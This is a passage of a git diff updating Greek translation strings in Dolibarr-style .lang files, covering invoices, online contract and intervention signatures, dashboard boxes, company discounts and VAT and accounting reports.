γραμμή τιμολογίου: %s ToCreateARecurringInvoice=Για να δημιουργήσετε ένα επαναλαμβανόμενο τιμολόγιο για αυτήν τη σύμβαση, δημιουργήστε πρώτα αυτό το προσχέδιο τιμολογίου, στη συνέχεια μετατρέψτε το σε πρότυπο τιμολογίου και καθορίστε τη συχνότητα δημιουργίας μελλοντικών τιμολογίων. -ToCreateARecurringInvoiceGene=Για να δημιουργείτε μελλοντικά τιμολόγια τακτικά και μη αυτόματα, απλώς μεταβείτε στο μενού %s - %s - %s . +ToCreateARecurringInvoiceGene=Για τη δημιουργια τιμολογίων τακτικά και μη αυτόματα, απλώς μεταβείτε στο μενού %s - %s - %s . ToCreateARecurringInvoiceGeneAuto=Αν χρειαστεί να δημιουργήσετε αυτομάτως τέτοιου είδους τιμολόγια, ζητήστε από τον διαχειριστή σας να ενεργοποιήσει και να ρυθμίσει την ενότητα %s . Λάβετε υπόψη ότι και οι δύο μέθοδοι (χειροκίνητες και αυτόματες) μπορούν να χρησιμοποιηθούν χωρίς να υπάρχει κίνδυνος επανάληψης. DeleteRepeatableInvoice=Διαγραφή προτύπου τιμολογίου ConfirmDeleteRepeatableInvoice=Είστε σίγουροι ότι θέλετε να διαγράψετε το πρότυπο τιμολόγιο; @@ -621,4 +625,9 @@ NoPaymentAvailable=Δεν υπάρχει διαθέσιμη πληρωμή γι PaymentRegisteredAndInvoiceSetToPaid=Η πληρωμή καταχωρήθηκε και το τιμολόγιο %s ορίστηκε ως πληρωμένο SendEmailsRemindersOnInvoiceDueDate=Αποστολή υπενθύμισης μέσω email για απλήρωτα τιμολόγια MakePaymentAndClassifyPayed=Καταγραφή πληρωμής -BulkPaymentNotPossibleForInvoice=Δεν είναι δυνατή η μαζική πληρωμή για το τιμολόγιο %s (κακός τύπος ή κατάσταση) +BulkPaymentNotPossibleForInvoice=Δεν είναι δυνατή η μαζική πληρωμή για το τιμολόγιο %s (λάθος τύπος ή κατάσταση) +MentionVATDebitOptionIsOn=Δυνατότητα πληρωμής φόρου βάσει χρεώσεων +MentionCategoryOfOperations=Κατηγορία πράξεων +MentionCategoryOfOperations0=Διανομή αγαθών +MentionCategoryOfOperations1=Παροχή υπηρεσιών +MentionCategoryOfOperations2=Μικτή - Παράδοση αγαθών & παροχή υπηρεσιών diff --git a/htdocs/langs/el_GR/bookmarks.lang b/htdocs/langs/el_GR/bookmarks.lang index 398c61c3d7f..9a0f5303f6f 100644 --- a/htdocs/langs/el_GR/bookmarks.lang +++ b/htdocs/langs/el_GR/bookmarks.lang @@ -20,3 +20,4 @@ ChooseIfANewWindowMustBeOpenedOnClickOnBookmark=Επιλέξτε εάν η συ BookmarksManagement=Διαχείριση σελιδοδεικτών BookmarksMenuShortCut=Ctrl + shift + m NoBookmarks=Δεν έχουν οριστεί σελιδοδείκτες +NoBookmarkFound=Δεν βρέθηκε σελιδοδείκτης diff --git a/htdocs/langs/el_GR/boxes.lang b/htdocs/langs/el_GR/boxes.lang index 7956fe4b578..fd1584adf2d 100644 --- a/htdocs/langs/el_GR/boxes.lang +++ b/htdocs/langs/el_GR/boxes.lang @@ -9,7 +9,7 @@ BoxLastSupplierBills=Τελευταία τιμολόγια προμηθευτή BoxLastCustomerBills=Τελευταία τιμολόγια πελατών BoxOldestUnpaidCustomerBills=Παλαιότερα μη πληρωμένα τιμολόγια πελατών BoxOldestUnpaidSupplierBills=Παλαιότερα μη πληρωμένα τιμολόγια προμηθευτών -BoxLastProposals=Τελευταίες εμπορικές προτάσεις +BoxLastProposals=Τελευταίες προσφορές BoxLastProspects=Τελευταίες τροποποιημένες προοπτικές BoxLastCustomers=Τελευταίοι τροποποιημένοι πελάτες BoxLastSuppliers=Τελευταίοι τροποποιημένοι προμηθευτές @@ -24,6 +24,7 @@ BoxFicheInter=Τελευταίες παρεμβάσεις BoxCurrentAccounts=Ισοζύγιο ανοιχτών λογαριασμών BoxTitleMemberNextBirthdays=Γενέθλια αυτού του μήνα (μέλη) BoxTitleMembersByType=Μέλη ανά τύπο και κατάσταση +BoxTitleMembersByTags=Μέλη ανά ετικέτα και κατάσταση BoxTitleMembersSubscriptionsByYear=Συνδρομές μελών ανά έτος BoxTitleLastRssInfos=Τα τελευταία %s νέα από %s BoxTitleLastProducts=Προϊόντα / Υπηρεσίες: τελευταία %s τροποποιημένα @@ -44,13 +45,15 @@ BoxTitleSupplierOrdersAwaitingReception=Παραγγελίες προμηθευ BoxTitleLastModifiedContacts=Επαφές / διευθύνσεις: τελευταίες %s τροποποιημένες BoxMyLastBookmarks=Σελιδοδείκτες: τελευταίοι %s BoxOldestExpiredServices=Παλαιότερες ενεργές υπηρεσίες που έχουν λήξει +BoxOldestActions=Οι παλαιότερα ενέργειες σε αναμονή BoxLastExpiredServices=Τελευταίες %s παλαιότερες επαφές με ενεργές υπηρεσίες που έληξαν BoxTitleLastActionsToDo=Τελευταίες %s ενέργειες προς πραγματοποίηση +BoxTitleOldestActionsToDo=Τα παλαιότερα %s συμβάντα που πρέπει να γίνουν, μη ολοκληρωμένα BoxTitleLastContracts=Τελευταία %s τροποποιημένα συμβόλαια BoxTitleLastModifiedDonations=Τελευταίες %s τροποποιημένες δωρεές BoxTitleLastModifiedExpenses=Τελευταίες %s αναφορές εξόδων που τροποποιήθηκαν BoxTitleLatestModifiedBoms=Τελευταία %s BOM που τροποποιήθηκαν -BoxTitleLatestModifiedMos=Τελευταίες %s Παραγγελίες Κατασκευής που τροποποιήθηκαν +BoxTitleLatestModifiedMos=Τελευταίες %s Παραγγελίες παραγωγής που τροποποιήθηκαν BoxTitleLastOutstandingBillReached=Πελάτες με υπέρβαση του μέγιστου οφειλόμενου BoxGlobalActivity=Η γενική δραστηριότητα για (τιμολόγια, προσφορές, παραγγελίες) BoxGoodCustomers=Καλοί πελάτες @@ -115,6 +118,27 @@ BoxCustomersOutstandingBillReached=Πελάτες που έχουν φτάσει UsersHome=Χρήστες και ομάδες MembersHome=Μέλη ThirdpartiesHome=Τρίτα μέρη +productindex=Προϊόντα και υπηρεσίες +mrpindex=MRP +commercialindex=Εμπορικό +projectsindex=Έργα +invoiceindex=Τιμολόγια +hrmindex=Τιμολόγια TicketsHome=Εισιτήρια +stockindex=Αποθέματα +sendingindex=Αποστολές +receptionindex=Παραλαβές +activityindex=Δραστηριότητα +proposalindex=Home proposal +ordersindex=Παραγγελίες +orderssuppliersindex=Home orders suppliers +contractindex=Home contracts +interventionindex=Home interventions +suppliersproposalsindex=Home suppliers proposals +donationindex=Δωρεές +specialexpensesindex=Home specials expenses +expensereportindex=Home expensereport +mailingindex=Home mailing +opensurveyindex=Home opensurvey AccountancyHome=Λογιστική ValidatedProjects=Επικυρωμένα έργα diff --git a/htdocs/langs/el_GR/commercial.lang b/htdocs/langs/el_GR/commercial.lang index 746c112fe41..8d91921c35b 100644 --- a/htdocs/langs/el_GR/commercial.lang +++ b/htdocs/langs/el_GR/commercial.lang @@ -50,7 +50,7 @@ ActionAffectedTo=Η ενέργεια αφορά τον/την ActionDoneBy=Η ενέργεια έγινε από τον/την ActionAC_TEL=Τηλεφώνημα ActionAC_FAX=Αποστολή fax -ActionAC_PROP=Αποστολή προσφορας με email +ActionAC_PROP=Αποστολή προσφοράς με email ActionAC_EMAIL=Αποστολή email ActionAC_EMAIL_IN=Λήψη email ActionAC_RDV=Συναντήσεις @@ -74,8 +74,16 @@ StatusProsp=Κατάσταση προοπτικής DraftPropals=Προσχέδιο προσφορών NoLimit=Κανένα όριο ToOfferALinkForOnlineSignature=Σύνδεσμος για ηλεκτρονική υπογραφή -WelcomeOnOnlineSignaturePage=Καλώς ήρθατε στη σελίδα αποδοχής εμπορικών προτάσεων από %s -ThisScreenAllowsYouToSignDocFrom=Αυτή η οθόνη σάς επιτρέπει να αποδεχτείτε και να υπογράψετε ή να αρνηθείτε μια προσφορά -ThisIsInformationOnDocumentToSign=Αυτές είναι οι πληροφορίες σχετικά με το έγγραφο προς αποδοχή ή απορρίψη +WelcomeOnOnlineSignaturePageProposal=Καλώς ήρθατε στη σελίδα αποδοχής εμπορικών προσφορών από %s +WelcomeOnOnlineSignaturePageContract=Καλώς ορίσατε στη σελίδα υπογραφής PDF της σύμβασης %s +WelcomeOnOnlineSignaturePageFichinter=Καλώς ορίσατε στη σελίδα υπογραφής PDF της παρέμβασης %s +ThisScreenAllowsYouToSignDocFromProposal=Αυτή η οθόνη σάς επιτρέπει να αποδεχτείτε και να υπογράψετε ή να αρνηθείτε μια προσφορά +ThisScreenAllowsYouToSignDocFromContract=Αυτή η οθόνη σάς επιτρέπει την online υπογραφή σύμβασης σε μορφή PDF. +ThisScreenAllowsYouToSignDocFromFichinter=Αυτή η οθόνη σάς επιτρέπει να υπογράψετε διαδικτυακή παρέμβαση σε μορφή PDF. +ThisIsInformationOnDocumentToSignProposal=Αυτές είναι οι πληροφορίες σχετικά με το έγγραφο προς αποδοχή ή απόρριψη +ThisIsInformationOnDocumentToSignContract=Αυτές είναι πληροφορίες για την σύμβαση προς υπογραφή +ThisIsInformationOnDocumentToSignFichinter=Αυτές είναι πληροφορίες σχετικά με την παρέμβαση προς υπογραφή SignatureProposalRef=Υπογραφή προσφοράς / εμπορικής πρότασης %s +SignatureContractRef=Υπογραφή σύμβασης %s +SignatureFichinterRef=Υπογραφή παρέμβασης %s FeatureOnlineSignDisabled=Η δυνατότητα για ηλεκτρονική υπογραφή απενεργοποιήθηκε ή δημιουργήθηκε έγγραφο πριν από την ενεργοποίηση της δυνατότητας diff --git a/htdocs/langs/el_GR/companies.lang b/htdocs/langs/el_GR/companies.lang index 661a9fe9688..3ec8674c6ba 100644 --- a/htdocs/langs/el_GR/companies.lang +++ b/htdocs/langs/el_GR/companies.lang @@ -53,7 +53,7 @@ RegisteredOffice=Έδρα της εταιρείας Lastname=Επίθετο Firstname=Όνομα RefEmployee=Κωδικός εργαζομένου -NationalRegistrationNumber=National registration number +NationalRegistrationNumber=Εθνικός αριθμός μητρώου PostOrFunction=Θέση εργασίας UserTitle=Τίτλος NatureOfThirdParty=Φύση του τρίτου μέρους @@ -103,8 +103,8 @@ LocalTax2IsUsedES= IRPF is used LocalTax2IsNotUsedES= IRPF is not used WrongCustomerCode=Άκυρος κωδικός πελάτη WrongSupplierCode=Άκυρος κωδικός προμηθευτή -CustomerCodeModel=Μοντέλο κωδικού πελάτη -SupplierCodeModel=Μοντέλο κωδικού προμηθευτή +CustomerCodeModel=Υπόδειγμα κωδικού πελάτη +SupplierCodeModel=Υπόδειγμα κωδικού προμηθευτή Gencod=Barcode GencodBuyPrice=Barcode αναφοράς τιμής ##### Professional ID ##### @@ -312,12 +312,12 @@ CustomerRelativeDiscountShort=Σχετική έκπτωση CustomerAbsoluteDiscountShort=Απόλυτη έκπτωση CompanyHasRelativeDiscount=Αυτός ο πελάτης έχει προεπιλεγμένη έκπτωση %s%% CompanyHasNoRelativeDiscount=Αυτός ο πελάτης δεν έχει σχετική έκπτωση από προεπιλογή -HasRelativeDiscountFromSupplier=Έχετε προεπιλεγμένη έκπτωση %s%% από αυτόν τον προμηθευτή -HasNoRelativeDiscountFromSupplier=Δεν έχετε προεπιλεγμένη σχετική έκπτωση από αυτόν τον προμηθευτή +HasRelativeDiscountFromSupplier=Έχετε μια προεπιλεγμένη έκπτωση %s%% από αυτόν τον προμηθευτή +HasNoRelativeDiscountFromSupplier=Δεν υπάρχει προεπιλεγμένη σχετική έκπτωση από αυτόν τον προμηθευτή CompanyHasAbsoluteDiscount=Αυτός ο πελάτης έχει διαθέσιμες εκπτώσεις (πιστωτικές σημειώσεις ή προκαταβολές) για %s %s CompanyHasDownPaymentOrCommercialDiscount=Αυτός ο πελάτης έχει διαθέσιμες εκπτώσεις (εμπορικές, προκαταβολές) για %s %s CompanyHasCreditNote=Αυτός ο πελάτης έχει ακόμα πιστωτικές σημειώσεις για %s %s -HasNoAbsoluteDiscountFromSupplier=Δεν έχετε διαθέσιμη πίστωση έκπτωσης από αυτόν τον προμηθευτή +HasNoAbsoluteDiscountFromSupplier=Δεν διατίθεται έκπτωση/πίστωση από αυτόν τον προμηθευτή HasAbsoluteDiscountFromSupplier=Έχετε διαθέσιμες εκπτώσεις (πιστωτικές σημειώσεις ή προκαταβολές) για %s %s από αυτόν τον προμηθευτή HasDownPaymentOrCommercialDiscountFromSupplier=Έχετε διαθέσιμες εκπτώσεις (εμπορικές, προκαταβολές) για %s %s από αυτόν τον προμηθευτή HasCreditNoteFromSupplier=Έχετε πιστωτικές σημειώσεις για %s %s από αυτόν τον προμηθευτή @@ -444,7 +444,7 @@ AddAddress=Προσθήκη διεύθυνσης SupplierCategory=Κατηγορία προμηθευτή JuridicalStatus200=Ανεξάρτητος DeleteFile=Διαγραφή Αρχείου -ConfirmDeleteFile=Είστε σίγουροι ότι θέλετε να διαγράψετε το αρχείο; +ConfirmDeleteFile=Είστε σίγουροι ότι θέλετε να διαγράψετε αυτό το αρχείο %s ; AllocateCommercial=Ανατέθηκε σε αντιπρόσωπο πωλήσεων Organization=Οργανισμός FiscalYearInformation=Οικονομικό έτος @@ -498,3 +498,8 @@ RestOfEurope=Υπόλοιπη Ευρώπη (ΕΕ) OutOfEurope=Εκτός Ευρώπης (ΕΕ) CurrentOutstandingBillLate=Καθυστερημένος ανεξόφλητος λογαριασμός BecarefullChangeThirdpartyBeforeAddProductToInvoice=Προσοχή, ανάλογα με τις ρυθμίσεις τιμής του προϊόντος σας, θα πρέπει να αλλάξετε το Τρίτο Μέρος πριν προσθέσετε το προϊόν στο POS. +EmailAlreadyExistsPleaseRewriteYourCompanyName=Το email υπάρχει ήδη, ξαναγράψτε το όνομα της εταιρείας σας +TwoRecordsOfCompanyName=υπάρχουν περισσότερες από μια εγγραφή για αυτήν την εταιρεία, επικοινωνήστε μαζί μας για να ολοκληρώσετε το αίτημα συνεργασίας σας +CompanySection=Τμήμα εταιρείας +ShowSocialNetworks=Εμφάνιση κοινωνικών δικτύων +HideSocialNetworks=Απόκρυψη κοινωνικών δικτύων diff --git a/htdocs/langs/el_GR/compta.lang b/htdocs/langs/el_GR/compta.lang index b258b9b2b1c..1a105ccd0ee 100644 --- a/htdocs/langs/el_GR/compta.lang +++ b/htdocs/langs/el_GR/compta.lang @@ -29,6 +29,8 @@ BalanceBefore=Ισοζύγιο (πριν) Balance=Ισοζύγιο Debit=Χρέωση Credit=Πίστωση +AccountingDebit=Χρέωση +AccountingCredit=Πίστωση Piece=Λογιστικό Εγγρ. AmountHTVATRealReceived=Σύνολο καθαρών εισπράξεων AmountHTVATRealPaid=Σύνολο καθαρών πληρωμένων @@ -126,7 +128,7 @@ Turnover=Τιμολογημένος κύκλος εργασιών(τζίρος) TurnoverCollected=Κύκλος εργασιών(τζίρος) που εισπράχθηκε SalesTurnoverMinimum=Ελάχιστος κύκλος εργασιών(τζίρος) ByExpenseIncome=Ανα έξοδα και έσοδα -ByThirdParties=Ανά στοιχεία +ByThirdParties=Ανά τρίτα μέρη ByUserAuthorOfInvoice=Ανά συντάκτη τιμολογίου CheckReceipt=Κατάθεση επιταγής CheckReceiptShort=Κατάθεση επιταγής @@ -141,8 +143,8 @@ PaySocialContribution=Πληρωμή Κοινωνικής/Φορολογικής PayVAT=Πληρώμη Φ.Π.Α. PaySalary=Πληρωμή μισθού ConfirmPaySocialContribution=Είστε σίγουροι ότι θέλετε να ταξινομήσετε αυτόν τον κοινωνικό ή φορολογικό φόρο ως πληρωμένο; -ConfirmPayVAT=Είστε βέβαιοι ότι θέλετε να κατατάξετε αυτήν τη δήλωση ΦΠΑ ως πληρωμένη; -ConfirmPaySalary=Είστε βέβαιοι ότι θέλετε να ταξινομήσετε αυτήν την καρτέλα μισθού ως πληρωμένη; +ConfirmPayVAT=Είστε σίγουροι ότι θέλετε να Ταξινομήσετε αυτήν τη δήλωση ΦΠΑ ως πληρωμένη; +ConfirmPaySalary=Είστε σίγουροι ότι θέλετε να ταξινομήσετε αυτήν την καρτέλα μισθού ως πληρωμένη; DeleteSocialContribution=Διαγραφή Κοινωνικής/Φορολογικής εισφοράς DeleteVAT=Διαγραφή δήλωσης ΦΠΑ DeleteSalary=Διαγραφή καρτέλας μισθού @@ -152,58 +154,58 @@ ConfirmDeleteVAT=Είστε σίγουροι ότι θέλετε να διαγρ ConfirmDeleteSalary=Είστε σίγουροι ότι θέλετε να διαγράψετε αυτόν τον μισθό; ConfirmDeleteVariousPayment=Είστε σίγουροι ότι θέλετε να διαγράψετε αυτήν τη πληρωμή; ExportDataset_tax_1=Κοινωνικές/Φορολογικές εισφορές και πληρωμές -CalcModeVATDebt=Κατάσταση %sΦΠΑ επί των λογιστικών υποχρεώσεων%s -CalcModeVATEngagement=Κατάσταση %sΦΠΑ επί των εσόδων-έξοδα%s. -CalcModeDebt=Ανάλυση των καταγεγραμμένων συναλλαγών ακόμα και αν δεν έχουν καταχωρηθεί στο λογιστικό βιβλίο -CalcModeEngagement=Ανάλυση γνωστών καταγεγραμμένων πληρωμών, ακόμη και αν δεν έχουν ακόμη καταλογιστεί στο Ledger. -CalcModeBookkeeping=Ανάλυση δεδομένων που έχουν καταχωρηθεί στον πίνακα Λογαριασμού Λογιστηρίου. +CalcModeVATDebt=Λειτουργία %sΦΠΑ επί την λογιστική δέσμευσης%s +CalcModeVATEngagement=Λειτουργία %sΦΠΑ επί των εσόδων-έξοδων%s. +CalcModeDebt=Ανάλυση των καταγεγραμμένων συναλλαγών ακόμα και αν δεν έχουν καταχωρηθεί στο Καθολικό. +CalcModeEngagement=Ανάλυση γνωστών καταγεγραμμένων πληρωμών, ακόμη και αν δεν έχουν ακόμη καταχωρηθεί στο Καθολικό. +CalcModeBookkeeping=Ανάλυση δεδομένων που καταχωρήθηκαν στον πίνακα λογιστικής καθολικού. CalcModeLT1= Λειτουργία %sRE στα τιμολόγια πελατών - τιμολόγια προμηθευτών%s CalcModeLT1Debt=Λειτουργία %sRE στα τιμολόγια των πελατών%s (Αφορά φορολογικούς συντελεστές του Ισπανικού κράτους) CalcModeLT1Rec= Λειτουργία %sRE στα τιμολόγια των προμηθευτών%s (Αφορά φορολογικούς συντελεστές του Ισπανικού κράτους) CalcModeLT2= Λειτουργία %sIRPF στα τιμολόγια πελατών - τιμολόγια προμηθευτών%s (Αφορά φορολογικούς συντελεστές του Ισπανικού κράτους) CalcModeLT2Debt=Λειτουργία %sIRPF στα τιμολόγια των πελατών%s (Αφορά φορολογικούς συντελεστές του Ισπανικού κράτους) CalcModeLT2Rec= Λειτουργία %sIRPF στα τιμολόγια των προμηθευτών%s (Αφορά φορολογικούς συντελεστές του Ισπανικού κράτους) -AnnualSummaryDueDebtMode=Υπόλοιπο των εσόδων και εξόδων, ετήσια σύνοψη -AnnualSummaryInputOutputMode=Υπόλοιπο των εσόδων και εξόδων, ετήσια σύνοψη +AnnualSummaryDueDebtMode=Ισοζύγιο εσόδων και εξόδων, ετήσια σύνοψη +AnnualSummaryInputOutputMode=Ισοζύγιο εσόδων και εξόδων, ετήσια σύνοψη AnnualByCompanies=Ισοζύγιο εσόδων και εξόδων, βάσει προκαθορισμένων ομάδων λογαριασμού AnnualByCompaniesDueDebtMode=Ισοζύγιο εσόδων και εξόδων, λεπτομέρεια κατά προκαθορισμένες ομάδες, τρόπος %sClaims-Debts%s δήλωσε τη λογιστική δέσμευσης . -AnnualByCompaniesInputOutputMode=Ισοζύγιο εσόδων και εξόδων, λεπτομέρεια κατά προκαθορισμένες ομάδες, τρόπος %sIncomes-Expenses%s δήλωσε ταμειακή λογιστική . +AnnualByCompaniesInputOutputMode=Ισοζύγιο εσόδων και εξόδων, λεπτομέρεια κατά προκαθορισμένες ομάδες, τρόπος %sΈσοδα-Έξοδα%s δήλωσε ταμειακή λογιστική . SeeReportInInputOutputMode=Δείτε την %sανάλυση των πληρωμών%s για έναν υπολογισμό που βασίζεται στις καταγεγραμμενες πληρωμές ακόμη και αν δεν έχουν καταγραφεί ακόμη στο Καθολικό -SeeReportInDueDebtMode=Δείτε την %sανάλυση των καταγεγραμμένων εγγράφων%s για έναν υπολογισμό που βασίζεται σε γνωστάκαταγεγραμμένα έγγραφα ακόμη και αν δεν έχουν καταγραφεί ακόμη στο Καθολικό +SeeReportInDueDebtMode=Δείτε την %sανάλυση των καταγεγραμμένων εγγράφων%s για έναν υπολογισμό που βασίζεται στα γνωστάκαταγεγραμμένα έγγραφα ακόμη και αν δεν έχουν καταγραφεί ακόμη στο Καθολικό SeeReportInBookkeepingMode=Δείτε την %sανάλυση του λογιστικού πίνακα καθολικού%s για μια αναφορά που βασίζεται στονΛογιστικό πίνακα Καθολικού -RulesAmountWithTaxIncluded=- Amounts shown are with all taxes included +RulesAmountWithTaxIncluded=- Στα ποσά που εμφανίζονται περιλαμβάνονται όλοι οι φόροι RulesAmountWithTaxExcluded=- Τα ποσά των τιμολογίων που εμφανίζονται δεν συμπεριλαμβάνουν Φ.Π.Α. RulesResultDue=- Περιλαμβάνει όλα τα τιμολόγια, έξοδα, ΦΠΑ, δωρεές, μισθούς, είτε πληρώνονται είτε όχι.
      - Βασίζεται στην ημερομηνία τιμολόγησης των τιμολογίων και στην ημερομηνία λήξης για έξοδα ή πληρωμές φόρων. Για τους μισθούς χρησιμοποιείται η ημερομηνία λήξης της περιόδου. -RulesResultInOut=- Περιλαμβάνει τις πραγματικές πληρωμές σε τιμολόγια, έξοδα, ΦΠΑ και μισθούς.
      - Βασίζεται στις ημερομηνίες πληρωμής των τιμολογίων, εξόδων, ΦΠΑ, δωρεών και μισθών. -RulesCADue=- Περιλαμβάνει τα οφειλόμενα τιμολόγια του πελάτη, είτε πληρώνονται είτε όχι.
      - Βασίζεται στην ημερομηνία χρέωσης αυτών των τιμολογίων.
      -RulesCAIn=- Περιλαμβάνει όλες τις πραγματικές πληρωμές τιμολογίων που εισπράττονται από πελάτες.
      - Βασίζεται στην ημερομηνία πληρωμής αυτών των τιμολογίων
      -RulesCATotalSaleJournal=Περιλαμβάνει όλες τις πιστωτικές γραμμές από το περιοδικό Sale. +RulesResultInOut=- Περιλαμβάνει τις πραγματικές πληρωμές σε τιμολόγια, έξοδα, Φ.Π.Α. και μισθούς.
      - Βασίζεται στις ημερομηνίες πληρωμής των τιμολογίων, εξόδων, Φ.Π.Α., δωρεών και μισθών. +RulesCADue=- Περιλαμβάνει τα οφειλόμενα τιμολόγια του πελάτη, είτε πληρώνονται είτε όχι.
      - Είναι Βασισμένο στην ημερομηνία χρέωσης αυτών των τιμολογίων.
      +RulesCAIn=- Περιλαμβάνει όλες τις πραγματικές πληρωμές τιμολογίων που εισπράχθηκαν από πελάτες.
      - Είναι Βασισμένο στην ημερομηνία πληρωμής αυτών των τιμολογίων
      +RulesCATotalSaleJournal=Περιλαμβάνει όλες τις πιστωτικές γραμμές από το Ημερολόγιο Πωλήσεων. RulesSalesTurnoverOfIncomeAccounts=Περιλαμβάνει (πίστωση - χρέωση) γραμμών για λογαριασμούς προϊόντων στην ομάδα ΕΣΟΔΑ -RulesAmountOnInOutBookkeepingRecord=Περιλαμβάνει την εγγραφή στον Λογαριασμό σας με Λογαριασμούς Λογαριασμού που έχει την ομάδα "ΕΞΟΔΑ" ή "ΕΙΣΟΔΟΣ" -RulesResultBookkeepingPredefined=Περιλαμβάνει την εγγραφή στον Λογαριασμό σας με Λογαριασμούς Λογαριασμού που έχει την ομάδα "ΕΞΟΔΑ" ή "ΕΙΣΟΔΟΣ" -RulesResultBookkeepingPersonalized=Εμφανίζει ρεκόρ στο Λογαριασμό σας με λογαριασμούς λογαριασμών ομαδοποιημένους από εξατομικευμένες ομάδες +RulesAmountOnInOutBookkeepingRecord=Περιλαμβάνει εγγραφή στο Καθολικό σας με λογιστικούς λογαριασμούς που έχουν την ομάδα "ΕΞΟΔΑ" ή "ΕΣΟΔΑ" +RulesResultBookkeepingPredefined=Περιλαμβάνει εγγραφή στο Καθολικό σας με λογιστικούς λογαριασμούς που έχουν την ομάδα "ΕΞΟΔΑ" ή "ΕΣΟΔΑ" +RulesResultBookkeepingPersonalized=Εμφανίζει εγγραφές στο Καθολικό σας με λογιστικούς λογαριασμούς ομαδοποιημένους κατά εξατομικευμένες ομάδες SeePageForSetup=Δείτε το μενού %s για τη ρύθμιση -DepositsAreNotIncluded=- Δεν συμπεριλαμβάνονται τα τιμολόγια για τις προκαταβολές -DepositsAreIncluded=- Down payment invoices are included +DepositsAreNotIncluded=- Δεν συμπεριλαμβάνονται οι αποδείξεις προκαταβολών +DepositsAreIncluded=- Συμπεριλαμβάνονται και οι αποδείξεις προκαταβολών LT1ReportByMonth=Αναφορά φόρου 2 ανά μήνα LT2ReportByMonth=Αναφορά φόρου 3 ανά μήνα -LT1ReportByCustomers=Αναφέρετε τον φόρο 2 από τρίτους -LT2ReportByCustomers=Αναφορά φόρου 3 από τρίτους +LT1ReportByCustomers=Αναφορά φόρου 2 ανά τρίτο μέρος +LT2ReportByCustomers=Αναφορά φόρου 3 ανά τρίτο μέρος LT1ReportByCustomersES=Αναφορά Πελ./Προμ. RE -LT2ReportByCustomersES=Έκθεση του τρίτου IRPF -VATReport=Έκθεση φόρου επί των πωλήσεων -VATReportByPeriods=Έκθεση φόρου επί των πωλήσεων ανά περίοδο -VATReportByMonth=Έκθεση φόρου επί των πωλήσεων ανά μήνα -VATReportByRates=Έκθεση φόρου επί των πωλήσεων ανα συντελεστή -VATReportByThirdParties=Έκθεση φόρου επί των πωλήσεων ανά τρίτο μέρος -VATReportByCustomers=Έκθεση φόρου επί των πωλήσεων ανά πελάτη -VATReportByCustomersInInputOutputMode=Αναφορά από τον ΦΠΑ των πελατών εισπράττεται και καταβάλλεται -VATReportByQuartersInInputOutputMode=Αναφορά κατά συντελεστή φόρου επί των πωλήσεων του φόρου που εισπράχθηκε και καταβλήθηκε +LT2ReportByCustomersES=Αναφορά ανά τρίτο μέρος IRPF +VATReport=Αναφορά φόρου πωλήσεων +VATReportByPeriods=Αναφορά φόρου πωλήσεων ανά περίοδο +VATReportByMonth=Αναφορά φόρου πωλήσεων ανά μήνα +VATReportByRates=Αναφορά φόρου πωλήσεων ανά συντελεστή +VATReportByThirdParties=Αναφορά φόρου πωλήσεων ανά τρίτο μέρος +VATReportByCustomers=Αναφορά φόρου πωλήσεων ανά πελάτη +VATReportByCustomersInInputOutputMode=Αναφορά ανά Φ.Π.Α. πελάτη που εισπράχθηκε και καταβλήθηκε +VATReportByQuartersInInputOutputMode=Αναφορά ανά συντελεστή φόρου πωλήσεων που εισπράχθηκε και καταβλήθηκε VATReportShowByRateDetails=Εμφάνιση λεπτομερειών αυτού του συντελεστή -LT1ReportByQuarters=Αναφέρετε τον φόρο 2 με βάση την τιμή -LT2ReportByQuarters=Αναφέρετε τον φόρο 3 με βάση την τιμή -LT1ReportByQuartersES=Αναφορά με ποσοστό RE -LT2ReportByQuartersES=Αναφορά IRPF επιτόκιο +LT1ReportByQuarters=Αναφορά φόρου 2 με βάση την τιμή +LT2ReportByQuarters=Αναφορά φόρου 3 με βάση την τιμή +LT1ReportByQuartersES=Αναφορά ανά ποσοστό RE +LT2ReportByQuartersES=Αναφορά ανά ποσοστό IRPF SeeVATReportInInputOutputMode=Δείτε την αναφορά %s είσπραξης Φ.Π.Α.%s για έναν τυπικό υπολογισμό SeeVATReportInDueDebtMode=Δείτε την αναφορά %sΦ.Π.Α. χρεώσεων%s για έναν υπολογισμό με δυνατότητα επιλογής στην τιμολόγηση RulesVATInServices=- Για τις υπηρεσίες, η αναφορά περιλαμβάνει τον ΦΠΑ των πληρωμών που πράγματι εισπράχθηκαν ή καταβλήθηκαν με βάση την ημερομηνία πληρωμής. @@ -214,21 +216,21 @@ OptionVatInfoModuleComptabilite=Σημείωση: Για τα υλικά περ ThisIsAnEstimatedValue=Αυτή είναι μια προεπισκόπηση, που βασίζεται σε επαγγελματικά συμβάντα και όχι από τον τελικό πίνακα του καθολικού, επομένως τα τελικά αποτελέσματα ενδέχεται να διαφέρουν από αυτές τις τιμές προεπισκόπησης PercentOfInvoice=%%/τιμολόγιο NotUsedForGoods=Δεν γίνεται χρήση σε υλικά αγαθά -ProposalStats=Στατιστικά στοιχεία σχετικά με τις προτάσεις +ProposalStats=Στατιστικά στοιχεία προσφορών OrderStats=Στατιστικά στοιχεία για τις παραγγελίες InvoiceStats=Στατιστικά στοιχεία για τους λογαριασμούς -Dispatch=Dispatching -Dispatched=Dispatched +Dispatch=Αποστολή +Dispatched=Απεσταλμένο ToDispatch=Για αποστολή ThirdPartyMustBeEditAsCustomer=Το τρίτο μέρος πρέπει να ορίζεται ως πελάτης SellsJournal=Ημερολόγιο πωλήσεων PurchasesJournal=Ημερολόγιο Αγορών DescSellsJournal=Ημερολόγιο πωλήσεων DescPurchasesJournal=Ημερολόγιο Αγορών -CodeNotDef=Δεν προσδιορίζεται -WarningDepositsNotIncluded=Down payment invoices are not included in this version with this accountancy module. -DatePaymentTermCantBeLowerThanObjectDate=Payment term date can't be lower than object date. -Pcg_version=Μοντέλα λογιστικού σχεδίου +CodeNotDef=Δεν έχει οριστεί +WarningDepositsNotIncluded=Οι αποδείξεις προκαταβολών δεν περιλαμβάνονται σε αυτήν την έκδοση της ενότητας λογιστικής. +DatePaymentTermCantBeLowerThanObjectDate=Η ημερομηνία προθεσμίας πληρωμής δεν μπορεί να είναι προγενέστερη της ημερομηνίας αντικειμένου. +Pcg_version=Υποδείγματα λογιστικών σχεδίων Pcg_type=Pcg type Pcg_subtype=Pcg subtype InvoiceLinesToDispatch=Γραμμές τιμολογίων για αποστολή @@ -240,21 +242,21 @@ Mode1=Μέθοδος 1 Mode2=Μέθοδος 2 CalculationRuleDesc=Για τον υπολογισμό του συνολικού ΦΠΑ, υπάρχουν δύο μέθοδοι:
